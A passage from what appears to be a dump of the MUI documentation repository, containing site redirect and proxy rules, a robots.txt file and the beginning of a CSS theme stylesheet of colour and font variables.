301\n/zh/api/mobile-date-range-picker/ /zh/x/api/date-pickers/mobile-date-range-picker/ 301\n/pt/api/mobile-date-range-picker/ /pt/x/api/date-pickers/mobile-date-range-picker/ 301\n/api/static-date-range-picker/ /x/api/date-pickers/static-date-range-picker/ 301\n/zh/api/static-date-range-picker/ /zh/x/api/date-pickers/static-date-range-picker/ 301\n/pt/api/static-date-range-picker/ /pt/x/api/date-pickers/static-date-range-picker/ 301\n/api/mobile-date-time-picker/ /x/api/date-pickers/mobile-date-time-picker/ 301\n/zh/api/mobile-date-time-picker/ /zh/x/api/date-pickers/mobile-date-time-picker/ 301\n/pt/api/mobile-date-time-picker/ /pt/x/api/date-pickers/mobile-date-time-picker/ 301\n/api/static-date-time-picker/ /x/api/date-pickers/static-date-time-picker/ 301\n/zh/api/static-date-time-picker/ /zh/x/api/date-pickers/static-date-time-picker/ 301\n/pt/api/static-date-time-picker/ /pt/x/api/date-pickers/static-date-time-picker/ 301\n/api/clock-picker/ /x/api/date-pickers/clock-picker/ 301\n/zh/api/clock-picker/ /zh/x/api/date-pickers/clock-picker/ 301\n/pt/api/clock-picker/ /pt/x/api/date-pickers/clock-picker/ 301\n/api/mobile-time-picker/ /x/api/date-pickers/mobile-time-picker/ 301\n/zh/api/mobile-time-picker/ /zh/x/api/date-pickers/mobile-time-picker/ 301\n/pt/api/mobile-time-picker/ /pt/x/api/date-pickers/mobile-time-picker/ 301\n/api/static-time-picker/ /x/api/date-pickers/static-time-picker/ 301\n/zh/api/static-time-picker/ /zh/x/api/date-pickers/static-time-picker/ 301\n/pt/api/static-time-picker/ /pt/x/api/date-pickers/static-time-picker/ 301\n/api/time-picker/ /x/api/date-pickers/time-picker/ 301\n/zh/api/time-picker/ /zh/x/api/date-pickers/time-picker/ 301\n/pt/api/time-picker/ /pt/x/api/date-pickers/time-picker/ 301\n/styles/* /system/styles/:splat 301\n/pt/styles/* /pt/system/styles/:splat 301\n/zh/styles/* /zh/system/styles/:splat 301\n/getting-started/* /material-ui/getting-started/:splat 301\n/pt/getting-started/* /pt/material-ui/getting-started/:splat 301\n/zh/getting-started/* /zh/material-ui/getting-started/:splat 301\n/customization/* /material-ui/customization/:splat 301\n/pt/customization/* /pt/material-ui/customization/:splat 301\n/zh/customization/* /zh/material-ui/customization/:splat 301\n/guides/classname-generator/ /material-ui/experimental-api/classname-generator/ 301\n/pt/guides/classname-generator/ /pt/material-ui/experimental-api/classname-generator/ 301\n/zh/guides/classname-generator/ /zh/material-ui/experimental-api/classname-generator/ 301\n/guides/* /material-ui/guides/:splat 301\n/pt/guides/* /pt/material-ui/guides/:splat 301\n/zh/guides/* /zh/material-ui/guides/:splat 301\n/discover-more/* /material-ui/discover-more/:splat 301\n/pt/discover-more/* /pt/material-ui/discover-more/:splat 301\n/zh/discover-more/* /zh/material-ui/discover-more/:splat 301\n### Exceptions\n/components/icons/ /material-ui/icons/ 301\n/pt/components/icons/ /pt/material-ui/icons/ 301\n/zh/components/icons/ /zh/material-ui/icons/ 301\n/components/material-icons/ /material-ui/material-icons/ 301\n/pt/components/material-icons/ /pt/material-ui/material-icons/ 301\n/zh/components/material-icons/ /zh/material-ui/material-icons/ 301\n/components/transitions/ /material-ui/transitions/ 301\n/pt/components/transitions/ /pt/material-ui/transitions/ 301\n/zh/components/transitions/ /zh/material-ui/transitions/ 301\n/components/pickers/ /x/react-date-pickers/ 301\n/pt/components/pickers/ /pt/x/react-date-pickers/ 301\n/zh/components/pickers/ /zh/x/react-date-pickers/ 301\n/material-ui/lab-date-and-time-pickers/ /x/react-date-pickers/ 301\n/pt/material-ui/lab-date-and-time-pickers/ /pt/x/react-date-pickers/ 301\n/zh/material-ui/lab-date-and-time-pickers/ /zh/x/react-date-pickers/ 301\n/components/about-the-lab/ /material-ui/about-the-lab/ 301\n/pt/components/about-the-lab/ /pt/material-ui/about-the-lab/ 301\n/zh/components/about-the-lab/ /zh/material-ui/about-the-lab/ 301\n/components/focus-trap/ /base-ui/react-focus-trap/ 301\n/pt/components/focus-trap/ /pt/base-ui/react-focus-trap/ 301\n/zh/components/focus-trap/ /zh/base-ui/react-focus-trap/ 301\n/system/box/ /system/react-box/ 301\n/:lang/system/box/ /:lang/system/react-box/ 301\n### React plural\n/components/tabs/ /material-ui/react-tabs/ 301\n/pt/components/tabs/ /pt/material-ui/react-tabs/ 301\n/zh/components/tabs/ /zh/material-ui/react-tabs/ 301\n/components/breadcrumbs/ /material-ui/react-breadcrumbs/ 301\n/pt/components/breadcrumbs/ /pt/material-ui/react-breadcrumbs/ 301\n/zh/components/breadcrumbs/ /zh/material-ui/react-breadcrumbs/ 301\n/components/checkboxes/ /material-ui/react-checkbox/ 301\n/pt/components/checkboxes/ /pt/material-ui/react-checkbox/ 301\n/zh/components/checkboxes/ /zh/material-ui/react-checkbox/ 301\n/components/switches/ /material-ui/react-switch/ 301\n/pt/components/switches/ /pt/material-ui/react-switch/ 301\n/zh/components/switches/ /zh/material-ui/react-switch/ 301\n/components/buttons/ /material-ui/react-button/ 301\n/pt/components/buttons/ /pt/material-ui/react-button/ 301\n/zh/components/buttons/ /zh/material-ui/react-button/ 301\n/components/radio-buttons/ /material-ui/react-radio-button/ 301\n/pt/components/radio-buttons/ /pt/material-ui/react-radio-button/ 301\n/zh/components/radio-buttons/ /zh/material-ui/react-radio-button/ 301\n/components/selects/ /material-ui/react-select/ 301\n/pt/components/selects/ /pt/material-ui/react-select/ 301\n/zh/components/selects/ /zh/material-ui/react-select/ 301\n/components/text-fields/ /material-ui/react-text-field/ 301\n/pt/components/text-fields/ /pt/material-ui/react-text-field/ 301\n/zh/components/text-fields/ /zh/material-ui/react-text-field/ 301\n/components/avatars/ /material-ui/react-avatar/ 301\n/pt/components/avatars/ /pt/material-ui/react-avatar/ 301\n/zh/components/avatars/ /zh/material-ui/react-avatar/ 301\n/components/badges/ /material-ui/react-badge/ 301\n/pt/components/badges/ /pt/material-ui/react-badge/ 301\n/zh/components/badges/ /zh/material-ui/react-badge/ 301\n/components/chips/ /material-ui/react-chip/ 301\n/pt/components/chips/ /pt/material-ui/react-chip/ 301\n/zh/components/chips/ /zh/material-ui/react-chip/ 301\n/components/dividers/ /material-ui/react-divider/ 301\n/pt/components/dividers/ /pt/material-ui/react-divider/ 301\n/zh/components/dividers/ /zh/material-ui/react-divider/ 301\n/components/lists/ /material-ui/react-list/ 301\n/pt/components/lists/ /pt/material-ui/react-list/ 301\n/zh/components/lists/ /zh/material-ui/react-list/ 301\n/components/tables/ /material-ui/react-table/ 301\n/pt/components/tables/ /pt/material-ui/react-table/ 301\n/zh/components/tables/ /zh/material-ui/react-table/ 301\n/components/tooltips/ /material-ui/react-tooltip/ 301\n/pt/components/tooltips/ /pt/material-ui/react-tooltip/ 301\n/zh/components/tooltips/ /zh/material-ui/react-tooltip/ 301\n/components/dialogs/ /material-ui/react-dialog/ 301\n/pt/components/dialogs/ /pt/material-ui/react-dialog/ 301\n/zh/components/dialogs/ /zh/material-ui/react-dialog/ 301\n/components/snackbars/ /material-ui/react-snackbar/ 301\n/pt/components/snackbars/ /pt/material-ui/react-snackbar/ 301\n/zh/components/snackbars/ /zh/material-ui/react-snackbar/ 301\n/components/cards/ /material-ui/react-card/ 301\n/pt/components/cards/ /pt/material-ui/react-card/ 301\n/zh/components/cards/ /zh/material-ui/react-card/ 301\n/components/drawers/ /material-ui/react-drawer/ 301\n/pt/components/drawers/ /pt/material-ui/react-drawer/ 301\n/zh/components/drawers/ /zh/material-ui/react-drawer/ 301\n/components/links/ /material-ui/react-link/ 301\n/pt/components/links/ /pt/material-ui/react-link/ 301\n/zh/components/links/ /zh/material-ui/react-link/ 301\n/components/menus/ /material-ui/react-menu/ 301\n/pt/components/menus/ /pt/material-ui/react-menu/ 301\n/zh/components/menus/ /zh/material-ui/react-menu/ 301\n/components/steppers/ /material-ui/react-stepper/ 301\n/pt/components/steppers/ /pt/material-ui/react-stepper/ 301\n/zh/components/steppers/ /zh/material-ui/react-stepper/ 301\n/components/* /material-ui/react-:splat 301\n/pt/components/* /pt/material-ui/react-:splat 301\n/zh/components/* /zh/material-ui/react-:splat 301\n# /api/unstable-trap-focus/ /base-ui/react-focus-trap/components-api/#focus-trap 301\n# /pt/api/unstable-trap-focus/ /pt/base-ui/react-focus-trap/components-api/#focus-trap 301\n# /zh/api/unstable-trap-focus/ /zh/base-ui/react-focus-trap/components-api/#focus-trap 301\n# /api/click-away-listener/ /base-ui/react-click-away-listener/components-api/#click-away-listener 301\n# /pt/api/click-away-listener/ /pt/base-ui/react-click-away-listener/components-api/#click-away-listener 301\n# /zh/api/click-away-listener/ /zh/base-ui/react-click-away-listener/components-api/#click-away-listener 301\n/api/input-unstyled/ /base-ui/react-input/components-api/#input 301\n/pt/api/input-unstyled/ /pt/base-ui/react-input/components-api/#input 301\n/zh/api/input-unstyled/ /zh/base-ui/react-input/components-api/#input 301\n# /api/no-ssr/ /base-ui/react-no-ssr/components-api/#no-ssr 301\n# /pt/api/no-ssr/ /pt/base-ui/react-no-ssr/components-api/#no-ssr 301\n# /zh/api/no-ssr/ /zh/base-ui/react-no-ssr/components-api/#no-ssr 301\n/api/form-control-unstyled/ /base-ui/react-form-control/components-api/#form-control 301\n/pt/api/form-control-unstyled/ /pt/base-ui/react-form-control/components-api/#form-control 301\n/zh/api/form-control-unstyled/ /zh/base-ui/react-form-control/components-api/#form-control 301\n/api/badge-unstyled/ /base-ui/react-badge/components-api/#badge 301\n/pt/api/badge-unstyled/ /pt/base-ui/react-badge/components-api/#badge 301\n/zh/api/badge-unstyled/ /zh/base-ui/react-badge/components-api/#badge 301\n/api/backdrop-unstyled/ /base-ui/react-modal/ 301\n/pt/api/backdrop-unstyled/ /pt/base-ui/react-modal/ 301\n/zh/api/backdrop-unstyled/ /zh/base-ui/react-modal/ 301\n/api/switch-unstyled/ /base-ui/react-switch/components-api/#switch 301\n/pt/api/switch-unstyled/ /pt/base-ui/react-switch/components-api/#switch 301\n/zh/api/switch-unstyled/ /zh/base-ui/react-switch/components-api/#switch 301\n/api/slider-unstyled/ /base-ui/react-slider/components-api/#slider 301\n/pt/api/slider-unstyled/ /pt/base-ui/react-slider/components-api/#slider 301\n/zh/api/slider-unstyled/ /zh/base-ui/react-slider/components-api/#slider 301\n/api/button-unstyled/ /base-ui/react-button/components-api/#button 301\n/pt/api/button-unstyled/ /pt/base-ui/react-button/components-api/#button 301\n/zh/api/button-unstyled/ /zh/base-ui/react-button/components-api/#button 301\n# /api/textarea-autosize/ /base-ui/react-textarea-autosize/components-api/#textarea-autosize 301\n# /pt/api/textarea-autosize/ /pt/base-ui/react-textarea-autosize/components-api/#textarea-autosize 301\n# /zh/api/textarea-autosize/ /zh/base-ui/react-textarea-autosize/components-api/#textarea-autosize 301\n/api/modal-unstyled/ /base-ui/react-modal/components-api/#modal 301\n/pt/api/modal-unstyled/ /pt/base-ui/react-modal/components-api/#modal 301\n/zh/api/modal-unstyled/ /zh/base-ui/react-modal/components-api/#modal 301\n/api/option-group-unstyled/ /base-ui/react-select/components-api/#option-group 301\n/pt/api/option-group-unstyled/ /pt/base-ui/react-select/components-api/#option-group 301\n/zh/api/option-group-unstyled/ /zh/base-ui/react-select/components-api/#option-group 301\n# /api/portal/ /base-ui/react-portal/components-api/#portal 301\n# /pt/api/portal/ /pt/base-ui/react-portal/components-api/#portal 301\n# /zh/api/portal/ /zh/base-ui/react-portal/components-api/#portal 301\n/api/menu-item-unstyled/ /base-ui/react-menu/components-api/#menu-item 301\n/pt/api/menu-item-unstyled/ /pt/base-ui/react-menu/components-api/#menu-item 301\n/zh/api/menu-item-unstyled/ /zh/base-ui/react-menu/components-api/#menu-item 301\n/api/tabs-list-unstyled/ /base-ui/react-tabs/components-api/#tabs-list 301\n/pt/api/tabs-list-unstyled/ /pt/base-ui/react-tabs/components-api/#tabs-list 301\n/zh/api/tabs-list-unstyled/ /zh/base-ui/react-tabs/components-api/#tabs-list 301\n/api/menu-unstyled/ /base-ui/react-menu/components-api/#menu 301\n/pt/api/menu-unstyled/ /pt/base-ui/react-menu/components-api/#menu 301\n/zh/api/menu-unstyled/ /zh/base-ui/react-menu/components-api/#menu 301\n/api/tab-panel-unstyled/ /base-ui/react-tabs/components-api/#tab-panel 301\n/pt/api/tab-panel-unstyled/ /pt/base-ui/react-tabs/components-api/#tab-panel 301\n/zh/api/tab-panel-unstyled/ /zh/base-ui/react-tabs/components-api/#tab-panel 301\n/api/popper-unstyled/ /base-ui/react-popper/components-api/#popper 301\n/pt/api/popper-unstyled/ /pt/base-ui/react-popper/components-api/#popper 301\n/zh/api/popper-unstyled/ /zh/base-ui/react-popper/components-api/#popper 301\n/api/select-unstyled/ /base-ui/react-select/components-api/#select 301\n/pt/api/select-unstyled/ /pt/base-ui/react-select/components-api/#select 301\n/zh/api/select-unstyled/ /zh/base-ui/react-select/components-api/#select 301\n/api/* /material-ui/api/:splat 301\n/zh/api/* /zh/material-ui/api/:splat 301\n/pt/api/* /pt/material-ui/api/:splat 301\n/company/about/ /about/ 301\n/:lang/company/about/ /:lang/about/ 301\n/company/jobs/ /careers/ 301\n/material-ui/customization/unstyled-components/ /base-ui/getting-started/ 301\n/:lang/material-ui/customization/unstyled-components/ /:lang/base-ui/getting-started/ 301\n/material-ui/guides/migration-v4/ /material-ui/migration/migration-v4/ 301\n/:lang/material-ui/guides/migration-v4/ /:lang/material-ui/migration/migration-v4/ 301\n/material-ui/guides/migration-v3/ /material-ui/migration/migration-v3/ 301\n/:lang/material-ui/guides/migration-v3/ /:lang/material-ui/migration/migration-v3/ 301\n/material-ui/guides/migration-v0x/ /material-ui/migration/migration-v0x/ 301\n/:lang/material-ui/guides/migration-v0x/ /:lang/material-ui/migration/migration-v0x/ 301\n/material/* /material-ui/:splat 301\n/zh/material/* /zh/material-ui/:splat 301\n/pt/material/* /pt/material-ui/:splat 301\n/zh/blog/* /blog/:splat 301\n/pt/blog/* /blog/:splat 301\n/:lang/size-snapshot/ /size-snapshot/ 301\n/joy-ui/react-text-field/ /joy-ui/react-input/ 301\n/joy-ui/customization/themed-tokens/ /joy-ui/customization/themed-components/ 301\n/:lang/joy-ui/customization/one-off-styling/ /:lang/joy-ui/customization/approaches/#one-off-customization 301\n/joy-ui/customization/one-off-styling/ /joy-ui/customization/approaches/#one-off-customization 301\n/:lang/joy-ui/customization/theme-components/ /:lang/joy-ui/customization/themed-components/ 301\n/joy-ui/customization/theme-components/ /joy-ui/customization/themed-components/ 301\n/:lang/joy-ui/customization/theme-components/ /:lang/joy-ui/customization/themed-components/ 301\n/base/react-chip/ /material-ui/react-chip/ 301\n/system/api/ /system/properties/ 301\n/:lang/system/api/ /:lang/system/properties/ 301\n/joy-ui/core-features/global-variant/ /joy-ui/main-features/global-variants/ 301\n/:lang/joy-ui/core-features/global-variant/ /:langjoy-ui/main-features/global-variants/ 301\n/joy-ui/core-features/automatic-adjustment/ /joy-ui/main-features/automatic-adjustment/ 301\n/:lang/joy-ui/core-features/automatic-adjustment/ /:lang/joy-ui/main-features/automatic-adjustment/ 301\n/joy-ui/core-features/perfect-dark-mode/ /joy-ui/main-features/dark-mode-optimization/ 301\n/:lang/joy-ui/core-features/perfect-dark-mode/ /:lang/joy-ui/main-features/dark-mode-optimization/ 301\n/system/basics/ /system/getting-started/ 301\n/:lang/system/basics/ /:lang/system/getting-started/ 301\n/system/the-sx-prop/ /system/getting-started/the-sx-prop/ 301\n/:lang/system/the-sx-prop/ /:lang/system/getting-started/the-sx-prop/ 301\n/system/advanced/ /system/getting-started/custom-components/ 301\n/:lang/system/advanced/ /:lang/system/getting-started/custom-components/ 301\n/base/react-trap-focus/ /base-ui/react-focus-trap/ 301\n/:lang/base/react-trap-focus/ /:lang/base-ui/react-focus-trap/ 301\n/base/api/trap-focus/ /base-ui/react-focus-trap/components-api/#focus-trap 301\n/:lang/base/api/trap-focus/ /:lang/base-ui/react-focus-trap/components-api/#focus-trap 301\n/material-ui/experimental-api/css-variables/ /material-ui/experimental-api/css-theme-variables/overview/ 301\n/:lang/material-ui/experimental-api/css-variables/ /:lang/material-ui/experimental-api/css-theme-variables/overview/ 301\n/joy-ui/main-features/perfect-dark-mode/ /joy-ui/main-features/dark-mode-optimization/ 301\n/:lang/joy-ui/main-features/perfect-dark-mode/ /:lang/joy-ui/main-features/dark-mode-optimization/ 301\n/joy-ui/guides/applying-dark-mode/ /joy-ui/customization/dark-mode/ 301\n/:lang/joy-ui/guides/applying-dark-mode/ /:lang/joy-ui/customization/dark-mode/ 301\n/experimental-api/classname-generator/ /material-ui/experimental-api/classname-generator/ 301\n/:lang/experimental-api/classname-generator/ /:lang/material-ui/experimental-api/classname-generator/ 301\n/experimental-api/css-variables/ /material-ui/experimental-api/css-theme-variables/overview/ 301\n/:lang/experimental-api/css-variables/ /:lang/material-ui/experimental-api/css-theme-variables/overview/ 301\n/joy-ui/customization/default-theme/ /joy-ui/tools/default-theme-viewer/ 301\n/:lang/joy-ui/customization/default-theme/ /:lang/joy-ui/tools/default-theme-viewer/ 301\n/material-ui/guides/flow/ https://v4.mui.com/guides/flow/ 301\n/:lang/material-ui/guides/flow/ https://v4.mui.com/:lang/guides/flow/ 301\n/pt/* /:splat 301\n/zh/* /:splat 301\n# 2023\n/base/api/badge-unstyled/ /base-ui/react-badge/components-api/#badge 301\n/base/api/badge/ /base-ui/react-badge/components-api/#badge 301\n/base/api/button-unstyled/ /base-ui/react-button/components-api/#button 301\n/base/api/button/ /base-ui/react-button/components-api/#button 301\n/base/api/click-away-listener/ /base-ui/react-click-away-listener/components-api/#click-away-listener 301\n/base/api/focus-trap/ /base-ui/react-focus-trap/components-api/#focus-trap 301\n/base/api/form-control-unstyled/ /base-ui/react-form-control/components-api/#form-control 301\n/base/api/form-control/ /base-ui/react-form-control/components-api/#form-control 301\n/base/api/input-unstyled/ /base-ui/react-input/components-api/#input 301\n/base/api/input/ /base-ui/react-input/components-api/#input 301\n/base/api/menu-item-unstyled/ /base-ui/react-menu/components-api/#menu-item 301\n/base/api/menu-item/ /base-ui/react-menu/components-api/#menu-item 301\n/base/api/menu-unstyled/ /base-ui/react-menu/components-api/#menu 301\n/base/api/menu/ /base-ui/react-menu/components-api/#menu 301\n/base/api/modal-unstyled/ /base-ui/react-modal/components-api/#modal 301\n/base/api/modal/ /base-ui/react-modal/components-api/#modal 301\n/base/api/no-ssr/ /base-ui/react-no-ssr/components-api/#no-ssr 301\n/base/api/option-group-unstyled/ /base-ui/react-select/components-api/#option-group 301\n/base/api/option-group/ /base-ui/react-select/components-api/#option-group 301\n/base/api/option-unstyled/ /base-ui/react-select/components-api/#option 301\n/base/api/option/ /base-ui/react-select/components-api/#option 301\n/base/api/popper-unstyled/ /base-ui/react-popper/components-api/#popper 301\n/base/api/popper/ /base-ui/react-popper/components-api/#popper 301\n/base/api/portal/ /base-ui/react-portal/components-api/#portal 301\n/base/api/select-unstyled/ /base-ui/react-select/components-api/#select 301\n/base/api/select/ /base-ui/react-select/components-api/#select 301\n/base/api/slider-unstyled/ /base-ui/react-slider/components-api/#slider 301\n/base/api/slider/ /base-ui/react-slider/components-api/#slider 301\n/base/api/snackbar-unstyled/ /base-ui/react-snackbar/components-api/#snackbar 301\n/base/api/snackbar/ /base-ui/react-snackbar/components-api/#snackbar 301\n/base/api/switch-unstyled/ /base-ui/react-switch/components-api/#switch 301\n/base/api/switch/ /base-ui/react-switch/components-api/#switch 301\n/base/api/table-pagination-unstyled/ /base-ui/react-table-pagination/components-api/#table-pagination 301\n/base/api/table-pagination/ /base-ui/react-table-pagination/components-api/#table-pagination 301\n/base/api/tab-panel-unstyled/ /base-ui/react-tabs/components-api/#tab-panel 301\n/base/api/tab-panel/ /base-ui/react-tabs/components-api/#tab-panel 301\n/base/api/tabs-list-unstyled/ /base-ui/react-tabs/components-api/#tabs-list 301\n/base/api/tabs-list/ /base-ui/react-tabs/components-api/#tabs-list 301\n/base/api/tabs-unstyled/ /base-ui/react-tabs/components-api/#tabs 301\n/base/api/tabs/ /base-ui/react-tabs/components-api/#tabs 301\n/base/api/tab-unstyled/ /base-ui/react-tabs/components-api/#tab 301\n/base/api/tab/ /base-ui/react-tabs/components-api/#tab 301\n/base/api/textarea-autosize/ /base-ui/react-textarea-autosize/components-api/#textarea-autosize 301\n/base/api/use-badge/ /base-ui/react-badge/hooks-api/#use-badge 301\n/base/api/use-button/ /base-ui/react-button/hooks-api/#use-button 301\n/base/api/use-form-control-unstyled-context/ /base-ui/react-form-control/hooks-api/#use-form-control-context 301\n/base/api/use-form-control-context/ /base-ui/react-form-control/hooks-api/#use-form-control-context 301\n/base/api/use-input/ /base-ui/react-input/hooks-api/#use-input 301\n/base/api/use-menu/ /base-ui/react-menu/hooks-api/#use-menu 301\n/base/api/use-menu-item/ /base-ui/react-menu/hooks-api/#use-menu-item 301\n/base/api/use-option/ /base-ui/react-select/hooks-api/#use-option 301\n/base/api/use-select/ /base-ui/react-select/hooks-api/#use-select 301\n/base/api/use-slider/ /base-ui/react-slider/hooks-api/#use-slider 301\n/base/api/use-snackbar/ /base-ui/react-snackbar/hooks-api/#use-snackbar 301\n/base/api/use-switch/ /base-ui/react-switch/hooks-api/#use-switch 301\n/base/api/use-tab/ /base-ui/react-tabs/hooks-api/#use-tab 301\n/base/api/use-tab-panel/ /base-ui/react-tabs/hooks-api/#use-tab-panel 301\n/base/api/use-tabs/ /base-ui/react-tabs/hooks-api/#use-tabs 301\n/base/api/use-tabs-list/ /base-ui/react-tabs/hooks-api/#use-tabs-list 301\n/base/* /base-ui/:splat 301\n/base-ui/api/:component/ /base-ui/react-:component/components-api/#:component 301\n/joy-ui/customization/theme-tokens/ /joy-ui/customization/theme-colors/ 301\n/joy-ui/guides/apply-dark-mode/ /joy-ui/customization/dark-mode/ 301\n/material-ui/experimental-api/css-variables/ /material-ui/experimental-api/css-theme-variables/overview/ 301\n/material-ui/experimental-api/css-theme-variables/ /material-ui/experimental-api/css-theme-variables/overview/ 302\n/material-ui/getting-started/overview/ /material-ui/getting-started/ 301\n/joy-ui/getting-started/overview/ /joy-ui/getting-started/ 301\n/base-ui/getting-started/overview/ /base-ui/getting-started/ 301\n/base-ui/react-components/ /base-ui/all-components/ 301\n/system/getting-started/overview/ /system/getting-started/ 301\n/blog/introducing-mui-base/ /blog/introducing-base-ui/ 301\n/joy-ui/guides/themeable-component/ /joy-ui/customization/creating-themed-components/ 301\n/joy-ui/guides/overriding-component-structure/ /joy-ui/customization/overriding-component-structure/ 301\n/material-ui/react-tree-view/ /x/react-tree-view/ 301\n/material-ui/api/tree-view/ /x/api/tree-view/tree-view/ 301\n/material-ui/api/tree-item/ /x/api/tree-view/tree-item/ 301\n/material-ui/guides/styled-engine/ /material-ui/integrations/styled-components/ 301\n/material-ui/guides/themeable-component/ /material-ui/customization/creating-themed-components/ 301\n/material-ui/guides/next-js-app-router/ /material-ui/guides/nextjs/ 301\n/material-ui/guides/understand-mui-packages/ /blog/mui-product-comparison/ 301\n# 2024\n/material-ui/guides/nextjs/ /material-ui/integrations/nextjs/ 301\n/material-ui/guides/interoperability/ /material-ui/integrations/interoperability/ 301\n/material-ui/guides/theme-scoping/ /material-ui/integrations/theme-scoping/ 301\n/material-ui/guides/routing/ /material-ui/integrations/routing/ 301\n/material-ui/guides/creating-themed-components/ /material-ui/customization/creating-themed-components/ 301\n/material-ui/guides/shadow-dom/ /material-ui/customization/shadow-dom/ 301\n/material-ui/guides/right-to-left/ /material-ui/customization/right-to-left/ 301\n/material-ui/guides/pickers-migration/ /material-ui/migration/pickers-migration/ 301\n/material-ui/guides/styled-components/ /material-ui/integrations/styled-components/ 301\n/material-ui/experimental-api/css-theme-variables/migration/ /material-ui/migration/upgrade-to-v6/#cssvarsprovider-and-extendtheme 301\n/material-ui/experimental-api/css-theme-variables/overview/ /material-ui/customization/css-theme-variables/overview/ 301\n/material-ui/experimental-api/css-theme-variables/usage/ /material-ui/customization/css-theme-variables/usage/ 301\n/material-ui/experimental-api/css-theme-variables/customization/ /material-ui/customization/css-theme-variables/configuration/ 301\n/base-ui/ https://base-ui.com/ 301\n#2025\n/system/styles/basics/ https://v6.mui.com/system/styles/basics/ 301\n/system/styles/advanced/ https://v6.mui.com/system/styles/advanced/ 301\n/system/styles/api/ https://v6.mui.com/system/styles/api/ 301\n/base-ui/* https://v6.mui.com/base-ui/:splat 301\n#2026\n/joy-ui/* https://v7.mui.com/joy-ui/:splat 301\n\n# Proxies\n\n## MUI Store\n/store-asset/* https://mui-store.netlify.app/:splat 200\n/store/* https://mui-store.netlify.app/store/:splat 200\n/r/store-* https://mui-store.netlify.app/r/store-:splat 200\n/legal/* https://mui-store.netlify.app/legal/:splat 200\n/r/legal-* https://mui-store.netlify.app/r/legal-:splat 200\n/.well-known/apple-developer-merchantid-domain-association https://store-wp.mui.com/.well-known/apple-developer-merchantid-domain-association 200\n\n## MUI X\n## Unlike the store that expect to be hosted under a subfolder,\n## MUI X is configured to be hosted at the root.\n/static/x/* https://docs-next--material-ui-x.netlify.app/static/x/:splat 200\n/x/_next/* https://docs-next--material-ui-x.netlify.app/_next/:splat 200\n/x/* https://docs-next--material-ui-x.netlify.app/x/:splat 200\n/r/x-* https://docs-next--material-ui-x.netlify.app/r/x-:splat 200\n/:lang/x/* https://docs-next--material-ui-x.netlify.app/:lang/x/:splat 200\n\n## Toolpad\n/toolpad/core/templates/nextjs-dashboard/_next/* https://toolpad-core-nextjs-themed.vercel.app/_next/:splat 200\n/toolpad/core/templates/nextjs-dashboard/* https://toolpad-core-nextjs-themed.vercel.app/:splat 200\n/static/toolpad/* https://mui-toolpad-docs.netlify.app/static/toolpad/:splat 200\n/toolpad/_next/* https://mui-toolpad-docs.netlify.app/_next/:splat 200\n/toolpad/* https://mui-toolpad-docs.netlify.app/toolpad/:splat 200\n/r/toolpad-* https://mui-toolpad-docs.netlify.app/r/toolpad-:splat 200\n\n### MUI Design Kits\n/figma/getting-started/ /material-ui/design-resources/material-ui-for-figma/ 302\n/r/material-ui-figma-* https://mui-store.netlify.app/r/material-ui-figma-:splat 200\n/r/joy-ui-figma-* https://mui-store.netlify.app/r/joy-ui-figma-:splat 200\n\n### Deploy Previews\n/pr/:id https://deploy-preview-:id--material-ui.netlify.app/ 301\n/x/pr/:id https://deploy-preview-:id--material-ui-x.netlify.app/ 301\n"
  },
  {
    "path": "docs/public/robots.txt",
    "content": "# Algolia-Crawler-Verif: 98C49CAFF7AEED76\n\nUser-agent: *\nAllow: /\n"
  },
  {
    "path": "docs/public/static/components-gallery/base-theme.css",
    "content": ":root {\n  --primary-50: 190, 90%, 97%;\n  --primary-100: 208, 90%, 88%;\n  --primary-200: 211, 90%, 78%;\n  --primary-300: 214, 90%, 65%;\n  --primary-400: 218, 90%, 41%;\n  --primary-500: 210, 90%, 26%;\n  --primary-600: 215, 90%, 22%;\n  --primary-700: 240, 90%, 17%;\n  --primary-800: 250, 90%, 14%;\n  --primary-900: 270, 90%, 12%;\n\n  --grey-50: 213, 30%, 96%;\n  --grey-100: 213, 22%, 91%;\n  --grey-200: 213, 18%, 89%;\n  --grey-300: 213, 18%, 81%;\n  --grey-400: 213, 13%, 71%;\n  --grey-500: 213, 12%, 64%;\n  --grey-600: 213, 15%, 47%;\n  --grey-700: 213, 11%, 31%;\n  --grey-800: 213, 12%, 22%;\n  --grey-900: 213, 11%, 11%;\n\n  --canvas: #fff;\n\n  --font-color-soft: hsl(var(--grey-800));\n  --font-color-hard: hsl(var(--grey-900));\n  --font-color-onDark: #fff;\n  --font-color-interactive: hsl(var(--primary-500));\n  --font-color-placeholder: hsl(var(--grey-600));\n\n  --h1-font-family: 'Inter', sans-serif;\n  --h1-font-weight: 500;\n  --h1-font-size: 2rem;\n  --h1-line-height: 1.25;\n  --text-h1: var(--h1-font-size) / var(--h1-line-height) var(--h1-font-family);\n\n  --h2-font-family: 'Inter', sans-serif;\n  --h2-font-weight: 500;\n  --h2-font-size: 1.5rem;\n  --h2-line-height: 1.25;\n  --text-h2: var(--h2-font-size) / var(--h2-line-height) var(--h2-font-family);\n\n  --h3-font-family: 'Inter', sans-serif;\n  --h3-font-weight: 500;\n  --h3-font-size: 1.25rem;\n  --h3-line-height: 1.5;\n  --text-h3: var(--h3-font-size) / var(--h3-line-height) var(--h3-font-family);\n\n  --h4-font-family: 'Inter', sans-serif;\n  --h4-font-weight: 300;\n  --h4-font-size: 1.125rem;\n  --h4-line-height: 1.5;\n  --text-h4: var(--h4-font-size) / var(--h4-line-height) var(--h4-font-family);\n\n  --h5-font-family: 'Inter', sans-serif;\n  --h5-font-weight: 600;\n  --h5-font-size: 0.875rem;\n  --h5-line-height: 1.5;\n  --text-h5: var(--h5-font-weight) var(--h5-font-size) / var(--h5-line-height) var(--h5-font-family);\n\n  --button-font-family: 'Inter', sans-serif;\n  --button-font-weight: 500;\n  --button-font-size: 0.875rem;\n  --button-line-height: 1.5;\n  --button-text: var(--button-font-weight) var(--button-font-size) / var(--button-line-height)\n    var(--button-font-family);\n\n  --body-font-family: 'Inter', sans-serif;\n  --body-font-weight: 500;\n  --body-font-size: 0.875rem;\n  --body-line-height: 1.75;\n  --text-body: var(--body-font-size) / var(--body-line-height) var(--body-font-family);\n\n  --caption-font-family: 'Inter', sans-serif;\n  --caption-font-weight: 600;\n  --caption-font-size: 0.75rem;\n  --caption-line-height: 1.5;\n  --text-caption: var(--caption-font-weight) var(--caption-font-size) / var(--caption-line-height)\n    var(--caption-font-family);\n\n  --bg-default: #fff;\n  --bg-soft: hsl(var(--grey-50), 0.9);\n  --bg-hard: hsl(var(--grey-100), 0.8);\n  --bg-highlight: hsl(var(--primary-600));\n  --bg-overlay: hsl(0deg 0 0 / 